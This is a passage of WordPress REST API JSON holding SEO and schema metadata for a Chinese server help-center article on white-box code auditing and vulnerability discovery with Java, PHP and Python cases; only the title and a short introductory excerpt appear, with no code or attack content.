\u5b9e\u6218\u6848\u4f8b\uff09\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/93089.html","og_locale":"zh_CN","og_type":"article","og_title":"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u524d\u8a00\u5728\u7532\u65b9\u5b89\u5168\u5efa\u8bbe\u4e0e\u7ea2\u961f\u6e17\u900f\u4e2d，\u4ee3\u7801\u5ba1\u8ba1（Code Audit \/ White-box Testing） \u662f\u4e00\u9879\u6838\u5fc3\u80fd\u529b\u3002\u76f8\u6bd4\u4e8e\u9ed1\u76d2\u626b\u63cf\"\u649e\u8fd0\u6c14\"\u5f0f\u7684\u6f0f\u6d1e\u53d1\u73b0，\u4ee3\u7801\u5ba1\u8ba1\u80fd\u591f\u4ece \u6e90\u5934\u5b9a\u4f4d\u7f3a\u9677，\u7406\u89e3\u4e1a\u52a1\u903b\u8f91，\u6316\u6398\u51fa\u9ed1\u76d2\u96be\u4ee5\u89e6\u8fbe\u7684\u9ad8\u5371\u903b\u8f91\u6f0f\u6d1e\u4e0e\u7ec4\u5408\u94fe\u3002\u672c\u6587\u5c06\u4ece\u65b9\u6cd5\u8bba\u51fa\u53d1，\u7cfb\u7edf\u8bb2\u89e3\u767d\u76d2\u5ba1\u8ba1\u7684\u601d\u8def，\u5bf9\u6bd4\u516d\u5927\u4e3b\u6d41\u5ba1\u8ba1\u5de5\u5177，\u5e76 \u5206\u522b\u7ed9\u51fa Java\u3001PHP\u3001Pytho","og_url":"https:\/\/www.wsisp.com\/helps\/93089.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-08-11T14:00:45+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"19 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/93089.html","url":"https:\/\/www.wsisp.com\/helps\/93089.html","name":"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-08-11T14:00:45+00:00","dateModified":"2026-08-11T14:00:45+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/93089.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/93089.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/93089.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/93089","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=93089"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/93089\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=93089"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=93089"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=93089"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=93089"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}